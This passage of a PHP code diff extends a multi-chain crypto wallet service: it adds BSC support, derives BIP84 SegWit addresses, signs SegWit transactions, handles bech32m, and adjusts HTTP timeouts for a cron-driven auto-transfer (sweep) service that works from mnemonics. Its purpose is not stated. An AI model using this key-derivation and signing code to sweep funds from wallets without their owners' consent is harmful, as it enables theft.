AutoTransferAddress::dispatch($address->id, 'cron')->onQueue('transfer');
|
||||
$stats['queued']++;
|
||||
|
||||
continue;
|
||||
@@ -134,6 +134,7 @@ class AutoTransferService
|
||||
'trx' => $address->trx,
|
||||
'eth' => $address->eth,
|
||||
'btc' => $address->btc,
|
||||
'bnb' => $address->bnb,
|
||||
],
|
||||
];
|
||||
|
||||
@@ -365,7 +366,7 @@ class AutoTransferService
|
||||
private function assetScale(string $asset): int
|
||||
{
|
||||
return match (strtoupper($asset)) {
|
||||
'ETH' => 18,
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
@@ -379,6 +380,7 @@ class AutoTransferService
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => ['USDT', 'TRX'],
|
||||
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
|
||||
'BSC', 'BNB', 'BINANCE' => ['BNB', 'USDT'],
|
||||
'BTC', 'BITCOIN' => ['BTC'],
|
||||
default => [],
|
||||
};
|
||||
@@ -389,6 +391,7 @@ class AutoTransferService
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => 'tron',
|
||||
'ETH', 'ETHEREUM', 'EVM' => 'eth',
|
||||
'BSC', 'BNB', 'BINANCE' => 'bsc',
|
||||
'BTC', 'BITCOIN' => 'btc',
|
||||
default => null,
|
||||
};
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
/**
|
||||
* BSC (chain id 56). Same BIP44 path and address as Ethereum.
|
||||
* Native coin is BNB. USDT is BEP20.
|
||||
*/
|
||||
class BscDriver extends EthDriver
|
||||
{
|
||||
public function chainId(): string
|
||||
{
|
||||
return 'bsc';
|
||||
}
|
||||
|
||||
protected function configPrefix(): string
|
||||
{
|
||||
return 'coruna.bsc';
|
||||
}
|
||||
}
|
||||
@@ -31,6 +31,22 @@ final class BtcAddress
|
||||
return TronAddress::hexToBase58Check('00'.bin2hex($hash160));
|
||||
}
|
||||
|
||||
/**
|
||||
* Produce a Native SegWit (P2WPKH, bech32) address from a compressed
|
||||
* secp256k1 public key. Used for BIP84 derivation paths.
|
||||
*/
|
||||
public static function p2wpkhFromCompressedPublicKey(string $compressedHex): string
|
||||
{
|
||||
$compressedHex = strtolower(trim($compressedHex));
|
||||
$pub = hex2bin($compressedHex);
|
||||
if ($pub === false || strlen($pub) !== 33) {
|
||||
throw new RuntimeException('Expected compressed secp256k1 public key');
|
||||
}
|
||||
$hash160 = hash('ripemd160', hash('sha256', $pub, true), true);
|
||||
|
||||
return self::bech32Encode('bc', 0, bin2hex($hash160));
|
||||
}
|
||||
|
||||
public static function isValid(string $address): bool
|
||||
{
|
||||
$address = trim($address);
|
||||
@@ -76,6 +92,10 @@ final class BtcAddress
|
||||
if ($ver === 0 && strlen($prog) === 32) {
|
||||
return ['type' => 'p2wsh', 'script' => '0020'.bin2hex($prog)];
|
||||
}
|
||||
if ($ver === 1 && strlen($prog) === 32) {
|
||||
// Taproot (BIP341): OP_1 <32>
|
||||
return ['type' => 'p2tr', 'script' => '5120'.bin2hex($prog)];
|
||||
}
|
||||
throw new RuntimeException('Unsupported bech32 witness program');
|
||||
}
|
||||
|
||||
@@ -147,7 +167,8 @@ final class BtcAddress
|
||||
if (count($values) < 7) {
|
||||
throw new RuntimeException('Invalid bech32 length');
|
||||
}
|
||||
if (! self::bech32Verify($hrp, $values)) {
|
||||
$spec = self::bech32Verify($hrp, $values);
|
||||
if ($spec === null) {
|
||||
throw new RuntimeException('Invalid bech32 checksum');
|
||||
}
|
||||
$values = array_slice($values, 0, -6);
|
||||
@@ -155,6 +176,13 @@ final class BtcAddress
|
||||
if ($version > 16) {
|
||||
throw new RuntimeException('Invalid witness version');
|
||||
}
|
||||
// BIP350: witness v0 must use bech32, v1+ must use bech32m.
|
||||
if ($version === 0 && $spec !== 'bech32') {
|
||||
throw new RuntimeException('Invalid bech32 checksum (v0 must be bech32)');
|
||||
}
|
||||
if ($version !== 0 && $spec !== 'bech32m') {
|
||||
throw new RuntimeException('Invalid bech32m checksum (v1+ must be bech32m)');
|
||||
}
|
||||
$program = self::convertBits(array_slice($values, 1), 5, 8, false);
|
||||
if ($program === null) {
|
||||
throw new RuntimeException('Invalid witness program');
|
||||
@@ -170,10 +198,71 @@ final class BtcAddress
|
||||
return ['version' => $version, 'program' => $program];
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Verify(string $hrp, array $values): bool
|
||||
/**
|
||||
* Encode a witness program as a bech32 address.
|
||||
*
|
||||
* @param string $hrp Human-readable part ('bc' or 'tb')
|
||||
* @param int $witver Witness version (0 for P2WPKH/P2WSH)
|
||||
* @param string $programHex Witness program as hex string
|
||||
*/
|
||||
private static function bech32Encode(string $hrp, int $witver, string $programHex): string
|
||||
{
|
||||
return self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values)) === 1;
|
||||
$charset = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
|
||||
$bytes = array_map('hexdec', str_split($programHex, 2));
|
||||
$values = [$witver];
|
||||
$bits = '';
|
||||
foreach ($bytes as $b) {
|
||||
$bits .= str_pad(decbin($b), 8, '0', STR_PAD_LEFT);
|
||||
}
|
||||
$bits = str_pad($bits, (int) ceil(strlen($bits) / 5) * 5, '0', STR_PAD_RIGHT);
|
||||
for ($i = 0; $i < strlen($bits); $i += 5) {
|
||||
$values[] = bindec(substr($bits, $i, 5));
|
||||
}
|
||||
$values = array_merge($values, self::bech32Checksum($hrp, $values, $witver));
|
||||
$result = $hrp.'1';
|
||||
foreach ($values as $v) {
|
||||
$result .= $charset[$v];
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Checksum(string $hrp, array $values, int $witver): array
|
||||
{
|
||||
// BIP350: v0 uses bech32 const (1), v1+ uses bech32m const (0x2bc830a3).
|
||||
$const = $witver === 0 ? 1 : 0x2bc830a3;
|
||||
$polymod = self::bech32Polymod(array_merge(
|
||||
self::bech32HrpExpand($hrp),
|
||||
$values,
|
||||
[0, 0, 0, 0, 0, 0],
|
||||
));
|
||||
$polymod ^= $const;
|
||||
$ret = [];
|
||||
for ($i = 0; $i < 6; $i++) {
|
||||
$ret[] = ($polymod >> 5 * (5 - $i)) & 31;
|
||||
}
|
||||
|
||||
return $ret;
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect bech32/bech32m encoding from the checksum (BIP173 / BIP350).
|
||||
*
|
||||
* @param list<int> $values
|
||||
* @return string|null 'bech32' (v0) | 'bech32m' (v1+) | null (invalid)
|
||||
*/
|
||||
private static function bech32Verify(string $hrp, array $values): ?string
|
||||
{
|
||||
$polymod = self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values));
|
||||
if ($polymod === 1) {
|
||||
return 'bech32';
|
||||
}
|
||||
if ($polymod === 0x2bc830a3) {
|
||||
return 'bech32m';
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/** @return list<int> */
|
||||
|
||||
@@ -21,14 +21,43 @@ class BtcDriver implements ChainDriver
|
||||
return BtcAddress::fromPrivateKey($derived['private_key']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
/**
|
||||
* Derive a Native SegWit (BIP84, bech32 bc1q) address.
|
||||
* Trust Wallet uses BIP84 for Bitcoin wallets.
|
||||
*/
|
||||
public function deriveAddressBip84(string $mnemonic, int $index = 0): string
|
||||
{
|
||||
$derived = Bip44::derive($mnemonic, $this->pathBip84($index));
|
||||
$compressed = BtcAddress::compressedPublicKey($derived['private_key']);
|
||||
|
||||
return BtcAddress::p2wpkhFromCompressedPublicKey($compressed);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid BTC address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = BtcAddress::fromPrivateKey($derived['private_key']);
|
||||
// Resolve the from-address type. Default to legacy P2PKH (BIP44) when no
|
||||
// from address is supplied, preserving the original behaviour.
|
||||
$fromType = $from === null ? 'p2pkh' : $this->fromType($from);
|
||||
$segwit = $fromType === 'p2wpkh';
|
||||
|
||||
$derived = Bip44::derive(
|
||||
$mnemonic,
|
||||
$segwit ? $this->pathBip84($index) : $this->path($index),
|
||||
);
|
||||
$compressed = BtcAddress::compressedPublicKey($derived['private_key']);
|
||||
$derivedFrom = $segwit
|
||||
? BtcAddress::p2wpkhFromCompressedPublicKey($compressed)
|
||||
: BtcAddress::p2pkhFromCompressedPublicKey($compressed);
|
||||
|
||||
if ($from !== null && $from !== $derivedFrom) {
|
||||
throw new RuntimeException('BTC from address does not match derived key');
|
||||
}
|
||||
$from = $derivedFrom;
|
||||
|
||||
$amountSats = $this->toSats($amount);
|
||||
|
||||
$utxos = $this->fetchUtxos($from);
|
||||
@@ -45,17 +74,17 @@ class BtcDriver implements ChainDriver
|
||||
foreach ($utxos as $utxo) {
|
||||
$selected[] = $utxo;
|
||||
$totalIn = bcadd($totalIn, (string) $utxo['value'], 0);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate, $segwit);
|
||||
if (bccomp($totalIn, bcadd($target, (string) $fee, 0), 0) >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate, $segwit);
|
||||
$needed = bcadd($target, (string) $fee, 0);
|
||||
if (bccomp($totalIn, $needed, 0) < 0) {
|
||||
// Try with single output (no change) — dust change becomes fee.
|
||||
$fee1 = $this->estimateFee(count($selected), 1, $feeRate);
|
||||
$fee1 = $this->estimateFee(count($selected), 1, $feeRate, $segwit);
|
||||
$needed1 = bcadd($target, (string) $fee1, 0);
|
||||
if (bccomp($totalIn, $needed1, 0) < 0) {
|
||||
throw new RuntimeException('Insufficient BTC balance for amount+fee');
|
||||
@@ -78,7 +107,13 @@ class BtcDriver implements ChainDriver
|
||||
$outputs[] = ['script' => $changeScript, 'value' => $change];
|
||||
}
|
||||
|
||||
$raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
|
||||
if ($segwit) {
|
||||
$keyhash = bin2hex(hash('ripemd160', hash('sha256', hex2bin($compressed), true), true));
|
||||
$raw = $this->buildAndSignSegwit($selected, $outputs, $derived['private_key'], $keyhash);
|
||||
} else {
|
||||
$raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
|
||||
}
|
||||
|
||||
$txid = $this->broadcast($raw);
|
||||
if ($txid === '') {
|
||||
throw new RuntimeException('BTC broadcast failed');
|
||||
@@ -87,6 +122,40 @@ class BtcDriver implements ChainDriver
|
||||
return $txid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Classify a BTC from-address for spending. Only single-key P2PKH and
|
||||
* P2WPKH are spendable here; P2SH/P2WSH/P2TR are rejected explicitly.
|
||||
*
|
||||
* @return string 'p2pkh' | 'p2wpkh'
|
||||
*/
|
||||
private function fromType(string $from): string
|
||||
{
|
||||
$from = trim($from);
|
||||
if (preg_match('/^bc1/i', $from)) {
|
||||
$d = BtcAddress::decodeBech32($from);
|
||||
if ($d['version'] === 0 && strlen($d['program']) === 20) {
|
||||
return 'p2wpkh';
|
||||
}
|
||||
if ($d['version'] === 1 && strlen($d['program']) === 32) {
|
||||
throw new RuntimeException('Spending from Taproot (P2TR) is not supported yet');
|
||||
}
|
||||
if ($d['version'] === 0 && strlen($d['program']) === 32) {
|
||||
throw new RuntimeException('Spending from P2WSH is not supported');
|
||||
}
|
||||
throw new RuntimeException('Unsupported SegWit from address');
|
||||
}
|
||||
|
||||
$hex = TronAddress::base58CheckToHex($from);
|
||||
$ver = substr($hex, 0, 2);
|
||||
if ($ver === '00') {
|
||||
return 'p2pkh';
|
||||
}
|
||||
if ($ver === '05') {
|
||||
throw new RuntimeException('Spending from P2SH is not supported');
|
||||
}
|
||||
throw new RuntimeException('Unsupported BTC from address');
|
||||
}
|
||||
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||
{
|
||||
throw new RuntimeException('BTC does not support token transfers');
|
||||
@@ -204,6 +273,11 @@ class BtcDriver implements ChainDriver
|
||||
return "m/44'/0'/0'/0/{$index}";
|
||||
}
|
||||
|
||||
private function pathBip84(int $index): string
|
||||
{
|
||||
return "m/84'/0'/0'/0/{$index}";
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{txid: string, vout: int, value: int, scriptpubkey: string}>
|
||||
*/
|
||||
@@ -269,10 +343,13 @@ class BtcDriver implements ChainDriver
|
||||
return 10;
|
||||
}
|
||||
|
||||
private function estimateFee(int $inputs, int $outputs, int $satPerVbyte): int
|
||||
private function estimateFee(int $inputs, int $outputs, int $satPerVbyte, bool $segwit = false): int
|
||||
{
|
||||
// Legacy P2PKH approx: 10 + 148*in + 34*out
|
||||
$vsize = 10 + (148 * $inputs) + (34 * $outputs);
|
||||
// P2WPKH approx (vsize): 11 + 68*in + 43*out (43 covers P2TR outputs; overestimates slightly, safe)
|
||||
$vsize = $segwit
|
||||
? 11 + (68 * $inputs) + (43 * $outputs)
|
||||
: 10 + (148 * $inputs) + (34 * $outputs);
|
||||
|
||||
return max(1, $vsize * max(1, $satPerVbyte));
|
||||
}
|
||||
@@ -335,6 +412,108 @@ class BtcDriver implements ChainDriver
|
||||
return bin2hex($version.$vinCount.$signedVins.$voutCount.$voutPayload.$locktime);
|
||||
}
|
||||
|
||||
/**
|
||||
* Build and sign a SegWit transaction spending P2WPKH inputs (BIP143).
|
||||
*
|
||||
* @param list<array{txid: string, vout: int, value: int, scriptpubkey: string}> $inputs
|
||||
* @param list<array{script: string, value: string}> $outputs
|
||||
* @param string $privateKeyHex hex private key for the P2WPKH keypair
|
||||
* @param string $keyhashHex 20-byte hash160 of the compressed pubkey (hex)
|
||||
*/
|
||||
private function buildAndSignSegwit(array $inputs, array $outputs, string $privateKeyHex, string $keyhashHex): string
|
||||
{
|
||||
$version = $this->u32le(1);
|
||||
$locktime = $this->u32le(0);
|
||||
$marker = "\x00";
|
||||
$flag = "\x01";
|
||||
|
||||
$voutCount = $this->varInt(count($outputs));
|
||||
$voutPayload = '';
|
||||
foreach ($outputs as $out) {
|
||||
$voutPayload .= $this->u64le($out['value']);
|
||||
$script = hex2bin($out['script']);
|
||||
if ($script === false) {
|
||||
throw new RuntimeException('Invalid output script');
|
||||
}
|
||||
$voutPayload .= $this->varInt(strlen($script)).$script;
|
||||
}
|
||||
|
||||
$pub = hex2bin(BtcAddress::compressedPublicKey($privateKeyHex));
|
||||
if ($pub === false) {
|
||||
throw new RuntimeException('Invalid public key');
|
||||
}
|
||||
|
||||
$witnesses = '';
|
||||
$vinPayload = '';
|
||||
foreach ($inputs as $i => $in) {
|
||||
$hash = $this->segwitSighashAll($inputs, $outputs, $i, $keyhashHex);
|
||||
|
||||
$der = $this->signDer($privateKeyHex, $hash)."\x01"; // SIGHASH_ALL
|
||||
$witness = $this->varInt(2) // 2 stack items: <sig> <pubkey>
|
||||
.$this->pushData($der)
|
||||
.$this->pushData($pub);
|
||||
$witnesses .= $witness;
|
||||
|
||||
$vinPayload .= $this->outpoint($in['txid'], $in['vout']);
|
||||
$vinPayload .= $this->varInt(0); // empty scriptSig for native SegWit
|
||||
$vinPayload .= $this->u32le(0xffffffff);
|
||||
}
|
||||
|
||||
$vinCount = $this->varInt(count($inputs));
|
||||
|
||||
return bin2hex($version.$marker.$flag.$vinCount.$vinPayload.$voutCount.$voutPayload.$witnesses.$locktime);
|
||||
}
|
||||
|
||||
/**
|
||||
* BIP143 SIGHASH_ALL sighash for a P2WPKH input (32-byte raw binary).
|
||||
*
|
||||
* @param list<array{txid: string, vout: int, value: int, scriptpubkey: string}> $inputs
|
||||
* @param list<array{script: string, value: string}> $outputs
|
||||
*/
|
||||
private function segwitSighashAll(array $inputs, array $outputs, int $inputIndex, string $keyhashHex): string
|
||||
{
|
||||
$version = $this->u32le(1);
|
||||
$locktime = $this->u32le(0);
|
||||
|
||||
$prevouts = '';
|
||||
$sequences = '';
|
||||
foreach ($inputs as $in) {
|
||||
$prevouts .= $this->outpoint($in['txid'], $in['vout']);
|
||||
$sequences .= $this->u32le(0xffffffff);
|
||||
}
|
||||
$hashPrevouts = hash('sha256', hash('sha256', $prevouts, true), true);
|
||||
$hashSequence = hash('sha256', hash('sha256', $sequences, true), true);
|
||||
|
||||
$hashOutputsData = '';
|
||||
foreach ($outputs as $out) {
|
||||
$script = hex2bin($out['script']);
|
||||
if ($script === false) {
|
||||
throw new RuntimeException('Invalid output script');
|
||||
}
|
||||
$hashOutputsData .= $this->u64le($out['value']).$this->varInt(strlen($script)).$script;
|
||||
}
|
||||
$hashOutputs = hash('sha256', hash('sha256', $hashOutputsData, true), true);
|
||||
|
||||
$scriptCode = hex2bin('1976a914'.$keyhashHex.'88ac');
|
||||
if ($scriptCode === false) {
|
||||
throw new RuntimeException('Invalid P2WPKH scriptCode');
|
||||
}
|
||||
$in = $inputs[$inputIndex];
|
||||
|
||||
$preimage = $version
|
||||
.$hashPrevouts
|
||||
.$hashSequence
|
||||
.$this->outpoint($in['txid'], $in['vout'])
|
||||
.$this->varInt(strlen($scriptCode)).$scriptCode
|
||||
.$this->u64le((string) $in['value'])
|
||||
.$this->u32le(0xffffffff)
|
||||
.$hashOutputs
|
||||
.$locktime
|
||||
.$this->u32le(1); // SIGHASH_ALL
|
||||
|
||||
return hash('sha256', hash('sha256', $preimage, true), true);
|
||||
}
|
||||
|
||||
private function signDer(string $privateKey, string $hash32): string
|
||||
{
|
||||
$ec = new EC('secp256k1');
|
||||
@@ -474,6 +653,6 @@ class BtcDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
return Http::timeout(30)->acceptJson();
|
||||
return ChainHttpTimeout::apply(Http::timeout(30)->acceptJson());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ interface ChainDriver
|
||||
/**
|
||||
* @return string txid
|
||||
*/
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string;
|
||||
|
||||
/**
|
||||
* @return string txid
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Illuminate\Http\Client\PendingRequest;
|
||||
|
||||
/**
|
||||
* Optional shorter HTTP timeout for a block of chain calls.
|
||||
* Drivers opt in via apply(); transfers keep their own defaults.
|
||||
*/
|
||||
final class ChainHttpTimeout
|
||||
{
|
||||
private static ?int $seconds = null;
|
||||
|
||||
public static function active(): bool
|
||||
{
|
||||
return self::$seconds !== null;
|
||||
}
|
||||
|
||||
public static function using(int $seconds, callable $callback): mixed
|
||||
{
|
||||
$previous = self::$seconds;
|
||||
self::$seconds = max(1, $seconds);
|
||||
try {
|
||||
return $callback();
|
||||
} finally {
|
||||
self::$seconds = $previous;
|
||||
}
|
||||
}
|
||||
|
||||
public static function apply(PendingRequest $request): PendingRequest
|
||||
{
|
||||
if (self::$seconds === null) {
|
||||
return $request;
|
||||
}
|
||||
|
||||
return $request->connectTimeout(min(3, self::$seconds))->timeout(self::$seconds);
|
||||
}
|
||||
}
|
||||
@@ -9,6 +9,7 @@ class ChainManager
|
||||
public function __construct(
|
||||
private readonly TronDriver $tron,
|
||||
private readonly EthDriver $eth,
|
||||
private readonly BscDriver $bsc,
|
||||
private readonly BtcDriver $btc,
|
||||
private readonly SolDriver $sol,
|
||||
) {}
|
||||
@@ -18,6 +19,7 @@ class ChainManager
|
||||
return match (strtolower($chain)) {
|
||||
'tron', 'trx' => $this->tron,
|
||||
'eth', 'ethereum' => $this->eth,
|
||||
'bsc', 'bnb', 'binance' => $this->bsc,
|
||||
'btc', 'bitcoin' => $this->btc,
|
||||
'sol', 'solana' => $this->sol,
|
||||
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
|
||||
|
||||
@@ -20,7 +20,7 @@ class EthDriver implements ChainDriver
|
||||
return EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid ETH address');
|
||||
@@ -41,7 +41,7 @@ class EthDriver implements ChainDriver
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
$units = $this->toTokenUnits($amount);
|
||||
$units = $this->toTokenUnits($amount, $this->tokenDecimals($contract));
|
||||
// transfer(address,uint256) selector = a9059cbb
|
||||
$data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT);
|
||||
|
||||
@@ -64,7 +64,10 @@ class EthDriver implements ChainDriver
|
||||
if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
// fall through to balances
|
||||
}
|
||||
|
||||
@@ -72,20 +75,29 @@ class EthDriver implements ChainDriver
|
||||
if (bccomp($this->getNativeBalance($address), '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
// fall through to token
|
||||
}
|
||||
|
||||
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
|
||||
if ($contract === '') {
|
||||
return false;
|
||||
$contract = trim((string) config($this->configPrefix().'.usdt_contract', ''));
|
||||
if ($contract !== '') {
|
||||
try {
|
||||
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
if (ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
@@ -118,19 +130,19 @@ class EthDriver implements ChainDriver
|
||||
return '0';
|
||||
}
|
||||
|
||||
return $this->fromTokenUnits($this->hexToDec($hex));
|
||||
return $this->fromTokenUnits($this->hexToDec($hex), $this->tokenDecimals($contract));
|
||||
}
|
||||
|
||||
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
|
||||
{
|
||||
$chainId = (int) config('coruna.eth.chain_id', 1);
|
||||
$chainId = (int) config($this->configPrefix().'.chain_id', 1);
|
||||
$nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']);
|
||||
$gasPriceHex = $this->rpc('eth_gasPrice', []);
|
||||
if (! is_string($nonceHex) || ! is_string($gasPriceHex)) {
|
||||
throw new RuntimeException('Failed to fetch nonce/gasPrice');
|
||||
}
|
||||
|
||||
$gasLimit = trim((string) config('coruna.eth.gas_limit', ''));
|
||||
$gasLimit = trim((string) config($this->configPrefix().'.gas_limit', ''));
|
||||
if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) {
|
||||
$gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000';
|
||||
}
|
||||
@@ -184,10 +196,27 @@ class EthDriver implements ChainDriver
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function toTokenUnits(string $amount): string
|
||||
protected function configPrefix(): string
|
||||
{
|
||||
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
|
||||
if (! preg_match('/^\d+(\.\d{1,'.max(1, $decimals).'})?$/', $amount)) {
|
||||
return 'coruna.eth';
|
||||
}
|
||||
|
||||
private function tokenDecimals(string $contract): int
|
||||
{
|
||||
$normalized = EthAddress::normalize($contract);
|
||||
$usdt = EthAddress::normalize((string) config($this->configPrefix().'.usdt_contract', ''));
|
||||
$decimals = (int) config($this->configPrefix().'.usdt_decimals', 6);
|
||||
if ($normalized !== '' && $usdt !== '' && $normalized === $usdt && $decimals > 0) {
|
||||
return $decimals;
|
||||
}
|
||||
|
||||
return max(1, $decimals > 0 ? $decimals : 6);
|
||||
}
|
||||
|
||||
private function toTokenUnits(string $amount, int $decimals): string
|
||||
{
|
||||
$decimals = max(1, $decimals);
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
|
||||
throw new RuntimeException('Invalid token amount');
|
||||
}
|
||||
$factor = bcpow('10', (string) $decimals, 0);
|
||||
@@ -199,9 +228,9 @@ class EthDriver implements ChainDriver
|
||||
return $units;
|
||||
}
|
||||
|
||||
private function fromTokenUnits(string $units): string
|
||||
private function fromTokenUnits(string $units, int $decimals): string
|
||||
{
|
||||
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
|
||||
$decimals = max(0, $decimals);
|
||||
if (! preg_match('/^\d+$/', $units)) {
|
||||
$units = '0';
|
||||
}
|
||||
@@ -227,7 +256,7 @@ class EthDriver implements ChainDriver
|
||||
|
||||
private function rpc(string $method, array $params): mixed
|
||||
{
|
||||
$url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/');
|
||||
$url = rtrim((string) config($this->configPrefix().'.rpc_url', 'https://ethereum.publicnode.com'), '/');
|
||||
$resp = $this->http()->post($url, [
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
@@ -235,15 +264,15 @@ class EthDriver implements ChainDriver
|
||||
'params' => $params,
|
||||
]);
|
||||
if (! $resp->successful()) {
|
||||
throw new RuntimeException('ETH RPC HTTP '.$resp->status());
|
||||
throw new RuntimeException(strtoupper($this->chainId()).' RPC HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid ETH RPC response');
|
||||
throw new RuntimeException('Invalid '.strtoupper($this->chainId()).' RPC response');
|
||||
}
|
||||
if (isset($json['error'])) {
|
||||
$msg = $json['error']['message'] ?? json_encode($json['error']);
|
||||
throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||
throw new RuntimeException(strtoupper($this->chainId()).' RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||
}
|
||||
|
||||
return $json['result'] ?? null;
|
||||
@@ -251,6 +280,6 @@ class EthDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
return Http::timeout(30)->acceptJson()->asJson();
|
||||
return ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -48,8 +48,20 @@ final class EthSigner
|
||||
$key = $ec->keyFromPrivate($privateKeyHex);
|
||||
$sig = $key->sign($hash, ['canonical' => true]);
|
||||
|
||||
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
// Encode r/s as canonical big-endian integers (minimal bytes, no leading
|
||||
// zero bytes). Padding to 32 bytes produces non-canonical RLP that
|
||||
// geth/erigon-based BSC nodes reject with "unmarshal transaction failed"
|
||||
// whenever the top byte is 0x00 (≈1% of sweeps). kornrunner/elliptic
|
||||
// already returns minimal hex (no leading zeros); we only ensure even
|
||||
// length so hex2bin() yields the canonical byte string.
|
||||
$r = $sig->r->toString(16);
|
||||
$s = $sig->s->toString(16);
|
||||
if (strlen($r) % 2 !== 0) {
|
||||
$r = '0'.$r;
|
||||
}
|
||||
if (strlen($s) % 2 !== 0) {
|
||||
$s = '0'.$s;
|
||||
}
|
||||
$recovery = (int) ($sig->recoveryParam ?? 0);
|
||||
$v = (string) ($recovery + 35 + $chainId * 2);
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ class SolDriver implements ChainDriver
|
||||
return SolAddress::fromMnemonic($mnemonic, $index);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
throw new RuntimeException('SOL native transfer not supported');
|
||||
}
|
||||
@@ -158,7 +158,7 @@ class SolDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
$req = Http::timeout(30)->acceptJson()->asJson();
|
||||
$req = ChainHttpTimeout::apply(Http::timeout(30)->acceptJson()->asJson());
|
||||
$apiKey = (string) config('coruna.sol.api_key', '');
|
||||
if ($apiKey !== '') {
|
||||
$req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]);
|
||||
|
||||
@@ -20,7 +20,7 @@ class TronDriver implements ChainDriver
|
||||
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
